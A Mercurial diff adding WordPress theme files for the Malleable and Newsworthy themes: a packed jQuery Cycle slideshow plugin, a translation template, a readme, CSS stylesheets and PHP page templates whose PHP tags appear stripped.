a.Y=="4"){a.Y(c)}};7(a.1c||a.1w){A.U=1V(4(){q(k,a,0,!a.1x)},a.1w?10:a.1c+(a.2H||0))}})};4 q(c,d,i,b){7(d.2d){Q}8 g=d.1v,k=c[d.1b],a=c[d.P];7(g.U===0&&!i){Q}7(!i&&!g.1h&&((d.2a&&(--d.2b<=0))||(d.1W&&!d.1l&&d.P=e.N){7(f.1W){Q 1Y}f.P=0}}}}7(f.1Z&&1U f.1Z=="4"){f.1Z(c>0,f.P,e[f.P])}q(e,f,1,c>=0);Q 1Y}4 x(c,d){8 i=j(d.1q);j.1r(c,4(e,f){j.G.D.2k(e,f,i,c,d)});j.G.D.2m(d.1q,d.19)}j.G.D.2k=4(c,d,i,b,g){8 k=(1U g.2n=="4")?j(g.2n(c,d)):j(\'\'+(c+1)+"");7(k.parents("body").N==0){k.2G(i)}k.2i(g.2K,4(){g.P=c;8 e=g.1v,f=e.U;7(f){1u(f);e.U=0}7(1U g.2o=="4"){g.2o(g.P,b[g.P])}q(b,g,1,g.1b=0){8 c=f.1E(/\\d+/g);Q"#"+i(c[0])+i(c[1])+i(c[2])}7(f&&f!="transparent"){Q f}}Q"#ffffff"}d.1r(4(){j(A).y("2M-2N",b(A))})}j.G.D.2f=4(e,f,c,d,i){8 b=j(e),g=j(f);g.y(c.C);8 k=i?1:c.1y;8 a=i?1:c.1G;8 o=i?R:c.1R;8 n=i?R:c.1S;8 m=4(){g.20(c.K,k,o,d)};b.20(c.I,a,n,4(){7(c.M){b.y(c.M)}7(!c.1Q){m()}});7(c.1Q){m()}};j.G.D.O={2O:4(f,c,d){c.1n(":eq("+d.19+")").y("1i",0);d.J.L(4(){j(A).X()});d.K={1i:1};d.I={1i:0};d.C={1i:0};d.M={T:"Z"};d.Y=4(e){e.W()}}};j.G.D.ver=4(){Q u};j.G.D.2x={fx:"2O",1c:4000,1w:0,1a:1000,1y:R,1G:R,1I:R,2j:R,1Z:R,1q:R,2o:R,2K:"1H",2n:R,J:R,1k:R,2l:R,2h:R,1R:R,1S:R,1J:R,K:R,I:R,C:R,M:R,1X:R,E:"1P",19:0,1Q:1,1l:0,1m:0,27:0,2L:0,2a:0,2c:0,2H:0,29:R,1N:0,1W:0,2I:0}})(2P);(4(h){h.G.D.O.scrollUp=4(d,i,b){d.y("18","1e");b.J.L(4(e,f,c){h(A).X();c.C.B=f.1z;c.I.B=0-e.1z});b.1g={B:0};b.K={B:0};b.M={T:"Z"}};h.G.D.O.scrollDown=4(d,i,b){d.y("18","1e");b.J.L(4(e,f,c){h(A).X();c.C.B=0-f.1z;c.I.B=e.1z});b.1g={B:0};b.K={B:0};b.M={T:"Z"}};h.G.D.O.scrollLeft=4(d,i,b){d.y("18","1e");b.J.L(4(e,f,c){h(A).X();c.C.9=f.1A;c.I.9=0-e.1A});b.1g={9:0};b.K={9:0}};h.G.D.O.scrollRight=4(d,i,b){d.y("18","1e");b.J.L(4(e,f,c){h(A).X();c.C.9=0-f.1A;c.I.9=e.1A});b.1g={9:0};b.K={9:0}};h.G.D.O.scrollHorz=4(g,k,a){g.y("18","1e").F();a.J.L(4(e,f,c,d){h(A).X();8 i=e.1A,b=f.1A;c.C=d?{9:b}:{9:-b};c.K.9=0;c.I.9=d?-i:i;k.1n(e).y(c.C)});a.1g={9:0};a.M={T:"Z"}};h.G.D.O.scrollVert=4(g,k,a){g.y("18","1e");a.J.L(4(e,f,c,d){h(A).X();8 i=e.1z,b=f.1z;c.C=d?{B:-b}:{B:b};c.K.B=0;c.I.B=d?i:-i;k.1n(e).y(c.C)});a.1g={B:0};a.M={T:"Z"}};h.G.D.O.slideX=4(d,i,b){b.J.L(4(e,f,c){h(e).y("H",1)});b.Y=4(e){e.W()};b.C={H:2};b.K={F:"X"};b.I={F:"W"}};h.G.D.O.slideY=4(d,i,b){b.J.L(4(e,f,c){h(e).y("H",1)});b.Y=4(e){e.W()};b.C={H:2};b.K={E:"X"};b.I={E:"W"}};h.G.D.O.1J=4(o,n,m){8 v=o.y("18","2Q").F();n.y({9:0,B:0});m.J.L(4(){h(A).X()});m.1a=m.1a/2;m.1l=0;m.1J=m.1J||{9:-v,B:15};m.1d=[];1F(8 p=0;p').cycle({ + fx: 'fade', + speed: 300, + timeout: 3000, + pager: '.slider-controls' + }); + + } +); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/malleable.pot --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/malleable.pot Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,130 @@ +msgid "" +msgstr "" +"Project-Id-Version: Hybrid News WordPress Theme\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-06-18 02:32+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: Justin Tadlock \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: English\n" +"X-Poedit-Country: UNITED STATES\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: .\n" +"X-Poedit-SearchPath-0: .\n" + +#: front-page.php:37 +msgid "Full Story »" +msgstr "" + +#: front-page.php:49 +msgid "Previous Post" +msgstr "" + +#: front-page.php:49 +msgid "Previous" +msgstr "" + +#: front-page.php:50 +msgid "Pause" +msgstr "" + +#: front-page.php:51 +msgid "Next Post" +msgstr "" + +#: front-page.php:51 +msgid "Next" +msgstr "" + +#: functions.php:72 +msgid "Subscribe to the feed" +msgstr "" + +#: functions.php:72 +msgid "Subscribe" +msgstr "" + +#: functions.php:84 +msgid "Tertiary" +msgstr "" + +#: functions.php:85 +msgid "Utility: Header" +msgstr "" + +#: functions.php:170 +msgid "Medium/Feature:" +msgstr "" + +#: library/admin/general.php:8 +msgid "Front Page template settings" +msgstr "" + +#: library/admin/general.php:16 +msgid "Feature Category:" +msgstr "" + +#: library/admin/general.php:28 +msgid "Leave blank to use sticky posts." +msgstr "" + +#: library/admin/general.php:33 +msgid "Featured Posts:" +msgstr "" + +#: library/admin/general.php:37 +msgid "How many feature posts should be shown?" +msgstr "" + +#: library/admin/general.php:43 +msgid "Excerpts Category:" +msgstr "" + +#: library/admin/general.php:60 +msgid "Excerpts Posts:" +msgstr "" + +#: library/admin/general.php:64 +msgid "How many excerpts should be shown?" +msgstr "" + +#: library/admin/general.php:70 +msgid "Headline Categories:" +msgstr "" + +#: library/admin/general.php:74 +msgid "Multiple categories may be chosen by holding the Ctrl key and selecting." +msgstr "" + +#: library/admin/general.php:91 +msgid "Headlines Posts:" +msgstr "" + +#: library/admin/general.php:95 +msgid "How many posts should be shown per headline category?" +msgstr "" + +#: library/admin/theme-settings-admin.php:33 +#: library/admin/theme-settings.php:15 +msgid "Hybrid News" +msgstr "" + +#: library/admin/theme-settings-admin.php:34 +msgid "Hybrid News Theme Settings" +msgstr "" + +#: library/admin/theme-settings-admin.php:79 +msgid "Settings saved." +msgstr "" + +#: library/admin/theme-settings-xhtml.php:8 +msgid "Save Changes" +msgstr "" + +#: library/admin/theme-settings.php:15 +msgid "Hybrid News Settings" +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/readme.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/readme.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ + + + + +A guide to Malleable + + + + + + + +

    A guide to Malleable

    + +

    Malleable is a child theme for the Hybrid theme framework, which means you must have Hybrid installed to use Malleable. Don't worry. Just because it uses a framework doesn't mean it's complicated. It just means that your site will be a lot more powerful and all you have to do is have Hybrid installed.

    + +

    Nothing more. Nothing less.

    + +

    Front Page Template

    + +

    The theme comes packaged with an extra page template for you to use called Front Page.

    + +

    When you write a page, scroll down toward the bottom of the Write Page panel and select the template of your choosing. You can also set this as your home page by going to Settings > Reading and choosing the page you added the template to as your front page.

    + +

    You'll also want to add feature images and thumbnails to your posts to make them look good. For your convenience both of these are located under the Hybrid Settings meta box when you write a post. Of course, Hybrid has a built-in image script that will automatically include images for you (if you've attached an image).

    + +

    The settings for this page template are located at Appearance > Malleable.

    + +

    Theme Support & Community

    + +

    The most authoritative sources for finding out how to use the theme or do some nifty stuff are the Malleable and Hybrid theme tutorials.

    + +

    I also have support forums for all of my themes.

    + +

    In addition, there is a vibrant community at the Theme Hybrid Support Forums. If you ever lose the link, you can find it right from your Hybrid Settings page in your WordPress dashboard.

    + +

    Copyright & License

    + +

    Malleable is licensed under the GNU General Public License, version 2 (GPL).

    + +

    Copyright © Patrick Daly, Develop Daly

    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/screenshot.png Binary file web/wp-content/themes/malleable/screenshot.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1075 @@ +/** + * Theme Name: Malleable + * Theme URI: http://developdaly.com/themes/malleable/ + * Description: A news-style child theme of the Hybrid theme framework. Theme options include a configurable address and front page slider. + * Version: 2.0 + * Author: Develop Daly + * Author URI: http://developdaly.com + * Tags: black, gray, theme-options, threaded-comments, sticky-post, microformats, two-columns, three-columns, fixed-width + * Template: hybrid + * + * Copyright (c) 2010 Develop Daly. All rights reserved. + * http://developdaly.com + * + * Malleable is released under the GNU General Public License, version 2 (GPL). + * http://www.gnu.org/licenses/old-licenses/gpl-2.0.html + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* Get base CSS */ +@import url('../hybrid/library/css/20px.css'); + +/* Get plugins CSS */ +@import url('../hybrid/library/css/plugins.css'); + +/* Get drop-downs CSS */ +@import url('../hybrid/library/css/drop-downs.css'); + +/* Get tabs CSS */ +@import url('tabs.css'); + +/** +* Body +************************************************/ +body { + background: #222 url('images/bg.gif'); + font: 12px/22px "Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; + } + +/** +* Elements +************************************************/ + +/* Links */ +a, a:visited { + color: #3671A1; + text-decoration: none; + } +a:hover, a:active { + text-decoration: underline; + } +.entry-content a { + color: #336699; + } + +/* Headers */ +h1, h2, h3, h4, h5, h6 { + font-family: "Myriad Pro", Calibri; + color: #444; + } + +/* Lists */ +.content ul { + list-style: none; + margin-left: 20px; + } +.content ul li { + overflow: hidden; + padding-left: 15px; + background: url(images/bullet.gif) no-repeat 0 6px; + } + +/* Blockquotes */ +blockquote { + overflow: hidden; + height: 100%; + margin: 0 24px 0 0; + padding: 3px 0 0 24px; + font-style: italic; + color: #444; + background: url(images/quotes.gif) no-repeat 0 0; + border: none; + } +blockquote blockquote { + color: #555; + } +blockquote em { + font-style: normal; + } +blockquote.pullquote { + width: 210px; + margin-top: 6px; + margin-bottom: 3px; + padding: 6px 9px; + text-align: center; + font: italic normal normal 20px/22px Georgia, Times, 'Times New Roman', serif; + color: #444; + background: transparent; + border-top: 3px double #ddd; + border-bottom: 3px double #ddd; + } +.pullquote p { + margin: 0; + } + +/* Forms */ +input, textarea { + font-family: "Lucida Grande","Lucida Sans Unicode",Arial,Verdana,sans-serif; +} + +/* Code */ +code { + padding: 0 3px; + font-size: 12px; + background: #eee; + } +pre { + overflow: auto; + padding: 9px; + font-size: 12px; + color: #000; + background: url(images/code.png) repeat 0 0; + border: 1px solid #ddd; + } +pre code { + padding: 0; + background: transparent; + } + +/* Tables */ +table { + width: 100%; + background: #ddd; + } +caption { + font: italic normal normal 12px/22px Verdana, Geneva, Tahoma, sans-serif; + text-align: right; + color: #666; + } +tr { + margin: 1px; + border: 1px solid #ddd; + } +td { + padding: 3px; + background: #f7f7f7; + border: 1px solid #ddd; + } +tr.alt td, tr.even td { + background: #eee; + } +th { + padding: 3px; + color: #fff; + background: #093653; + border: 1px solid #ddd; + } +th a { + font-weight: bold; + color: #eee; + } + +/* Acronyms */ +acronym { + border-bottom: 1px dotted #333; + } + +/* Drop caps */ +.drop-cap { + float: left; + margin-right: 3px; + font: normal normal normal 48px/39px "Warnock Pro", "Goudy Old Style", Palatino,"Book Antiqua", Cambria, Georgia, serif; + color: #444; + } + +/* Notes */ +.note { + padding: 6px 9px; + background: #eee; + border: 1px solid #ccc; + } + +/* Warnings/Alerts */ +.warning, .alert { + padding: 6px 9px; + background: #fffbbc; + border: 1px solid #E6DB55; + } + +/* Errors */ +.error { + padding: 6px 9px; + background: #ffebe8; + border: 1px solid #C00; + } + +/* Downloads */ +.download { + padding: 6px 9px; + background: #e7f7d3; + border: 1px solid #6c3; + } + +/* Alignment */ +.left, .alignleft { + float: left; + margin: 0 20px 0 0; + } +.right, .alignright { + float: right; + margin: 0 0 0 20px; + } +.center, .aligncenter { + display: block; + margin: 0 auto 20px auto; + } +.block, .alignnone { + display: block; + margin: 0 0 20px 0; + } +.clear { + clear: both; + } +span.pullquote { + float: none; + margin: 0; + } + +/** +* Images +************************************************/ +.post img { + max-width: 600px; + } + +img.wp-smiley { + max-height: 12px; + margin: 0; + padding: 0; + border: none; + } + +/* Captions */ +.wp-caption { + max-width: 590px; + padding: 4px 4px 4px 4px; + background: #eee; + border: 1px solid #ccc; + text-align: center; + } +.wp-caption .wp-caption-text { + margin: 0; + padding: 0 5px; + text-align: right; + font-size: 11px; + color: #666; + } +.wp-caption img { + max-width: 588px; + margin: 0 auto; + padding: 0; + border: 1px solid #666; + } + +/* Gallery [gallery] */ +.gallery { + display: block; + text-align: center; + margin-bottom: 20px !important; + } +.gallery img { + border: 1px solid #3c738c; + } + +/* Author avatar */ +.avatar { + float: left; + width: 60px; + height: 60px; + margin-right: 20px; + padding: 4px; + background: #eee; + border: 1px solid #ccc; + } + +/* Thumbnail */ +.thumbnail { + float: left; + width: 100px; + height: 100px; + margin: 0 20px 10px 0; + padding: 4px; + background: #eee; + border: 1px solid #ccc; + } +.category img.medium { + float: left; + max-width: 230px; + margin: 0 20px 10px 0; + padding: 4px; + background: #eee; + border: 1px solid #ccc; + } + +/** +* Page Navigation +************************************************/ +#page-nav { + background:#444 url('images/nav-bg.gif') repeat-x scroll center bottom; + border-left: 1px solid #666; + border-right: 1px solid #666; + border-top: 1px solid #666; + height: 40px; + letter-spacing:1px; + list-style-image:none; + list-style-position:outside; + list-style-type:none; + margin: 0 auto; + padding:0; + width: 960px; + z-index:9999; +} + +#page-nav ul { + list-style: none; + margin: 0; + } +#page-nav li { + float: left; + margin: 0; + padding: 0; + } +#page-nav a { + color: #fff; + display: block; + padding: 14px; + text-decoration:none; + text-shadow:1px 1px 3px #000000; + z-index:9999; + } +#page-nav .current_page_item a, +#page-nav a:hover { + background: #333; +} + +/* Drop-down styles */ +#page-nav li:hover ul, #page-nav li.sfHover ul { + top: 40px; + } +#page-nav li li:hover ul, #page-nav li li.sfHover ul, #page-nav li li li:hover ul, #page-nav li li li.sfHover ul { + top: -1px; + } +#page-nav ul ul { + border-top: 1px solid #222; + background: #111; + } +#page-nav li li { + margin: 0; + padding: 0; + border-bottom: 1px solid #222; + } +#page-nav li li a { + padding: 14px; + border: none; + } + +/** +* Search form (in header) +************************************************/ +#header .search { + float: right; + width: 200px; + height: 25px; + } +#header input { + float: right; + width: 170px; + height: 15px; + margin: 4px 0 0 0; + padding: 8px; + color: #aaa; + background: #2D2D2D; + border: 1px solid #000; + } +#header .search-submit, #header .button { + display: none; + } + +/** +* Header +************************************************/ +#header-container { + overflow: hidden; + } +#header { + overflow: hidden; + width: 960px; + margin: 15px auto 5px; + } +#site-title { + float: left; + line-height: 35px; + font-size: 30px; + font-family: "Myriad Pro", Calibri; + font-size:30px; + margin: 0; + text-shadow:1px 1px 1px #000000; + } +#site-title a { + color: #ddd; + } +#site-description { + color: #999; + clear: both; + float: left; + font-size: 12px; + margin: 0; + } +#header .address { + color: #999; + float: right; + font-family: "Myriad Pro", Calibri; + font-size: 12px; +} + .vcard .org { + display: none; + } +/** +* Header utility widget +************************************************/ +#utility-header { + overflow: hidden; + float: right; + width: 500px; + height: 60px; + } +#utility-header .widget { + line-height: 19px; + margin: 0; + padding: 0; + color: #aaa; + background: transparent; + border: none; + } +#utility-header .widget-inside div, #utility-header .widget-inside img { + float: right; + } + +/** +* Category Navigation +************************************************/ +#cat-navigation { + background: #555; + border-left: 1px solid #666; + border-right: 1px solid #666; + border-top: 1px solid #666; + height: 42px; + width: 960px; + margin: 0 auto; + font: normal normal bold 12px/12px Verdana, Geneva, Tahoma, sans-serif; + text-transform: uppercase; + } +#cat-nav { + float: left; + width: 760px; + } +#cat-navigation ul { + list-style: none; + margin: 0; + } +#cat-navigation li { + float: left; + border-right: 1px solid #666; + } +#cat-navigation a { + display: block; + padding: 15px; + text-transform: uppercase; + color: #fafafa; + } +#cat-navigation li li a { + width: 160px; + font: normal normal bold 10px/10px Verdana, Geneva, Tahoma, sans-serif; + color: #fff; + background: #358F7E; + border-right: 1px solid #ccc; + border-top: 1px solid #ccc; + } + +/* Drop-down controls */ +#cat-nav ul ul, #cat-nav ul ul ul { + width: 180px; + } +#cat-nav li li:hover ul, #cat-nav li li li:hover ul { + left: 180px; + } +#cat-nav li:hover ul, #cat-nav li.sfHover ul { + top: 42px; + } +#cat-nav li li:hover ul, #cat-nav li li.sfHover ul, #cat-nav li li li:hover ul, #cat-nav li li li.sfHover ul { + top: 0; + } +#cat-nav ul ul { + background: #2b526b; + } + +/* Make sure page menu overlaps category menu */ +#cat-nav ul.menu { + position: relative; + z-index: 98; + } +#page-nav ul.menu { + position: relative; + z-index: 99; + } + +/** +* Subscribe/feed link (in navigation) +************************************************/ +#cat-navigation #feed { + width: 130px; + float: right; + } +#feed li { + float: right; + border: none; + margin-right: 15px; + } +#feed li a { + padding: 15px 20px 15px 15px; + background: url(images/feed-icon.png) no-repeat right center; + } + +/** +* Container (content/primary/secondary) +************************************************/ +#container { + border-left: 1px solid #666; + border-right: 1px solid #666; + clear: both; + overflow: hidden; + width: 960px; + margin: 0 auto; + background: #fff url(images/container-bg.png) repeat-y right 0; + } +.page-template-no-widget #container, .primary-inactive.secondary-inactive #container { + background: #fff; + } + +.content { + overflow: hidden; + float: left; + width: 580px; + padding: 20px 20px 0; + background: #fff; + } +.page-template-no-widgets .content, .primary-inactive.secondary-inactive .content { + width: auto; + padding: 20px; + } + +/** +* Posts +************************************************/ +.post { + clear: both; + overflow: hidden; + margin-bottom: 20px; + } +.single .post, .page .post { + margin-bottom: 0; + } +.page-template-blog .post, .page-template-quick-post .post { + margin-bottom: 20px; + } + +/* Post title */ +.entry-title { + margin-bottom: 3px; + font-size: 15px; + line-height: 18px; + font-weight: bold; + } +.entry-title a { + color: #222; + } +.home .entry-title, .page-title, .page-template-blog .entry-title, .single-title, .error-404-title, .attachment-title { + font-size: 22px; + line-height: 22px; + } +.page-title, .error-404-title { + margin: 0 0 20px 0; + } + +/* Byline */ +.byline { + font-size: .9em; + font-style: italic; + color: #777; + } +.archive .byline, .search .byline { + margin: 0 0 3px 0; + } +.byline a { + font-style: normal; + } + +/* Entry */ +.entry-content, .entry-summary { + overflow: hidden; + font-size: 13px; + } + +/* Post meta data */ +.entry-meta { + clear: both; + display: block; + padding: 9px 0 0 0; + font-size: .9em; + font-style: italic; + color: #777; + border-top: 1px solid #ccc; + } +.entry-meta a { + font-style: normal; + } + +/* Page links */ +p.pages { + font-weight: bold; + } +p.pages a { + margin: 0 2px; + padding: 4px 12px; + font-weight: normal; + font-style: italic; + color: #eee !important; + background: #093653; + border: 1px solid #eee; + } + +/* Series */ +.series-title { + font-size: 1.2em; + } + +/* Single-post author box */ +.single .author-profile { + overflow: hidden; + margin: 0 0 20px 0; + padding: 9px 9px 0 9px; + background: #f7f7f7; + border: 1px solid #ccc; + } +.single .author-profile p { + margin: 0 0 9px 0; + } +.single .author-profile .avatar { + margin: 0 20px 9px 0; + } + +/* Page templates */ +.author-profile { + border-bottom: 1px solid #ddd; + overflow: hidden; + margin-bottom: 20px; + padding: 0 0 20px; + } +.page-template-biography .author-profile { + margin: 0; + } +.author-profile .author-name { + margin-bottom: 0; + font-size: 1em; + font-weight: bold; + } +.post-box { + overflow: hidden; + margin-bottom: 20px; + } + +/* Archive templates */ +.category-title, .tag-title, .date-title, .author-title, .search-title { + font-size: 22px; + font-weight: bold; + line-height: 22px; + } +.author-info, .category-info, .date-info, .tag-info, .search-info { + overflow: hidden; + margin: 0 0 20px 0; + } + +/* Attachments (post meta data) */ +.attachment object { + width: 100%; + height: 100%; + min-height: 400px; + } +.attachment object.video { + width: 100%; + height: 360px; + } +.attachment object.audio { + width: 100%; + } +.attachment-image .post-meta-data { + clear: left; + } +.attachment .download { + display: block; + margin-bottom: 20px; + } +.attachment-icon, .mime-type-icon { + height: 20px; + margin-right: 10px; + padding: 0; + } +.attachment-application-octet-stream .video { + height: 400px; + margin-bottom: 20px; + } + +/* Breadcrumb */ +.breadcrumb { + margin: 0 0 20px 0; + font-size: 11px; + color: #666; + } + +/* WP PageNavi */ +.wp-pagenavi { + overflow: hidden; + } +.wp-pagenavi .pages, .wp-pagenavi .current, .wp-pagenavi a, .wp-pagenavi .extend { + float: left; + margin: 0 6px 0 0; + padding: 4px 12px; + color: #eee !important; + background: #093653; + border: 1px solid #eee; + } + +/* Navigation links */ +.navigation-links { + overflow: hidden; + } +.next, .previous { + max-width: 50%; + font-size: 13px; + } +.previous { + float: left; + } +.next { + float: right; + text-align: right; + } +#comments-template .paged-navigation { + text-align: center; + } +#comments-template .paged-navigation .page-numbers { + padding: 3px 6px; + font-style: italic !important; + border: 1px solid #eee !important; + } +#comments-template .paged-navigation .next, #comments-template .paged-navigation .prev { + float: none; + text-align: left; + border: none !important; + } + +/** +* Widgets in general +************************************************/ +.widget { + overflow: hidden; + margin: 0 0 20px 0; + padding: 9px 9px 0 9px; + background: #fff; + border: 1px solid #ddd; + } +.widget-title { + background:#333 none repeat scroll 0 0; + border-bottom:1px solid #bbb; + color:#fff; + font-size:11px; + font-weight:normal; + letter-spacing:1px; + margin:0 0 5px; + padding:1px 5px; + text-transform:uppercase; +} +.widget-title a { + color: #f7f7f7; + } +.widget ul { + list-style: none; + margin-left: 0; + } +.widget ul li { + padding: 0 0 0 18px; + background: url(images/bullet.gif) no-repeat 3px 7px; + } + +/* Widget search */ +.widget-search { + padding-bottom: 9px; +} +.widget-search .search-text { + width: 270px; + } + +/* Widget categories */ +.widget-categories img { + position: relative; + max-height: 16px; + top: 1px; + margin: 0; + padding: 0; + } + +/** +* Content-area widgets (mostly utility widgets) +************************************************/ +.content .widget { + margin: 0; + padding: 0; + border: none; + } +.content .widget-title { + margin: 0 0 5px 0; + padding: 0 0 5px 0; + font: normal normal bold 14px/20px georgia, times, 'times new roman', serif; + color: #333; + background: transparent; + border-bottom: 1px solid #ddd; + } +.content .widget-title a { + color: #093653; + } +.page-template-widgets .content .widget { + margin: 0 0 20px 0; + } + +/** +* Primary, Secondary, and Tertiary +************************************************/ +#widget-container { + float: right; + width: 320px; + } +#primary { + overflow: hidden; + float: right; + margin: 15px 20px 0 0; + width: 300px; + } +#secondary { + overflow: hidden; + clear: right; + float: right; + width: 153px; + margin: 0 0 0 14px; + } +#tertiary { + overflow: hidden; + float: right; + width: 153px; + } +#primary .widget ul li { + margin: 0 0 5px 0; + padding: 0 5px 5px 20px; + background: url(images/bullet.gif) no-repeat 5px 7px; + border-bottom: 1px solid #eee; + } +#primary .widget ul ul { + margin: 5px 0 0 0; + } +#primary .widget ul li li { + margin: 0 0 2px 0; + padding: 0 0 2px 20px; + border: none; + } +#primary object { + float: left; + width: 300px; + padding: 0; + margin: 0 0 9px 0; + } + +/** +* Comments +************************************************/ +#comments-template { + margin-top: 20px; + } + +/* Comment headers */ +#comments-number, #reply { + font-size: 1.2em; + } + +/* Comments are closed */ +.comments-closed { + color: #666; + font-style: italic; + } + +/* Comment list */ +#comments-template ol { + list-style: none; + margin: 0; + } + +/* Individual comments */ +#comments li { + overflow: hidden; + margin: 0 0 15px 0; + padding: 15px 15px 0 15px; + color: #333; + background: #f7f7f7; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + } +#comments li li, #comments li li li li, #comments li li li li li li { + background: #fff; + } +#comments li li li, #comments li li li li li { + background: #f7f7f7; + } + +/* Avatar */ +#comments li .avatar { + width: 40px; + height: 40px; + float: left; + margin-right: 20px; + padding: 0; + border: 1px solid #666; + } + +/* Comment meta data */ +#comments .comment-author { + font-weight: bold; + } +#comments .comment-meta-data { + margin-bottom: 15px; + } + +/* Comment text */ +.comment-text { + clear: left; + font-size: 13px; + } + +/* Forms */ +.text-input { + display: block; + padding: 3px 6px; + width: 300px; + font: 13px Arial, 'Helvetica Neue', Helvetica, sans-serif; + } +.page-template-quick-post .text-input { + width: 97.5%; + } +#comments-template label { + font: 13px Arial, 'Helvetica Neue', Helvetica, sans-serif; + } +textarea { + clear: left; + display: block; + width: 98%; + font: 14px/20px Arial, 'Helvetica Neue', Helvetica, sans-serif; + } +.button { + width: 100px; + margin-right: 9px; + padding: 6px 9px; + font: 13px Arial, 'Helvetica Neue', Helvetica, sans-serif; + font-weight: bold; + color: #eee; + background: #001838; + border: none; + } +.button:hover { + cursor: pointer; + background: #093653; + } +.search-form input { + margin-right: 9px; + } + +/** +* Footer container (wraps Subsidiary and Footer) +************************************************/ +#footer-container { + overflow: hidden; + clear: both; + padding: 2px 0 0 0; + background: #001838; + border-top: 3px solid #00070F; + } + +/** +* Subsidiary +************************************************/ +#subsidiary { + overflow: hidden; + width: 1000px; + margin: 0 auto 14px auto; + padding: 2px 0 0 0; + } +#subsidiary .widget { + overflow: hidden; + float: left; + width: 210px; + margin: 0; + padding: 15px 20px 0 20px; + font: 12px/21px Arial, 'Helvetica Neue', Helvetica, sans-serif; + color: #777; + background: transparent; + border: none; + } +#subsidiary .widget-title { + margin: 0 0 3px 0; + padding: 0 0 3px 0; + font-size: 15px; + color: #bbb; + background: transparent; + border-bottom: 1px solid #222; + } +#subsidiary a { + color: #aaa; + } +#subsidiary .widget ul { + margin-left: 0; + } +#subsidiary .widget ul li { + margin: 0 0 3px 0; + padding: 0 5px 3px 5px; + background: transparent; + border-bottom: 1px solid #222; + } + +/** +* Footer +************************************************/ +#footer-container { + overflow: hidden; + clear: both; + padding: 2px 0 0 0; + background: #111; + border-top: 3px solid #000; + } +#footer { + overflow: hidden; + width: 960px; + margin: 0 auto; + padding: 20px 0 0 0; + color: #f7f7f7; + } +#footer a { + font-style: normal; + color: #aaa; + } +#footer .copyright, #footer .credit { + display: inline; + float: left; + margin-right: 9px; + } +#footer .address { + text-align: right; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/malleable/tabs.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/malleable/tabs.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,75 @@ +/** + * Tabs Stylesheet + * For use with the Hybrid Tabs plugin + * + * @since 0.1 + */ + +.tab-content { + display: none; + } +.t1 { + display: block; + } + +/** +* Primary tabs and content-area widget tabs +***********************************************/ +#content .widget-tabs, #primary .widget-tabs { + margin: 0 0 20px 0 !important; + padding: 0 !important; + background: transparent !important; + border: none !important; + } + +#content .widget-tabs .widget-inside, #primary .widget-tabs .widget-inside { + padding: 0 !important; + background: transparent !important; + border: none !important; + } +#content .widget-tabs ul.tabs, #primary .widget-tabs ul.tabs { + overflow: hidden; + list-style: none; + margin: 0 0 7px 0; + } +#content .widget-tabs li.t, #primary .widget-tabs li.t { + float: left; + display: inline; + margin: 0 7px 0 0; + padding: 0; + background: transparent; + border: 1px solid #ddd !important; + text-align: center; + } +#content .widget-tabs li.t a, #primary .widget-tabs li.t a { + display: block; + padding: 7px 12px; + font-weight: bold; + color: #666; + background: #fff; + } +#content .widget-tabs li.t a:hover, #primary .widget-tabs li.t a:hover { + background: #eee; + text-decoration: none; + } +#content .widget-tabs li.t a.tab-current, #primary .widget-tabs li.t a.tab-current { + color: #f7f7f7; + background: #333; + } +#content .widget-tabs .tab-content, #primary .widget-tabs .tab-content { + overflow: hidden; + clear: left; + padding: 9px 9px 0 9px; + background: #fff; + border: 1px solid #ddd; + } + +/** +* Primary widget tabs +************************************************/ +#primary .widget-tabs ul.tabs { + width: 320px; + } +#primary .widget-tabs li.t4 { + margin: 0; + } \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,20 @@ + + +
    +
    + +
    + + +

    Error 404 - Not Found

    + +

    Sorry, the page you are looking for is not here.

    + + +
    + +
    +
     
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/newsworthy/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/newsworthy/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,58 @@ + + +
    +
    +
    + +

    Archives

    + + + + + +

    You are currently browsing the archives for the category.

    + + +

    You are currently browsing the blog archives + for the day .

    + + +

    You are currently browsing the blog archives + for .

    + + +

    You are currently browsing the blog archives + for the year .

    + + + + +
    + +
    +
    + +
    "> + ID, "newsworthy_image_value", $single = true) != "") { ?>&h=53&w=140&zc=1 ?>" alt="" /> +

    + + +
    + + + +
     
    + + +
    +
     
    +
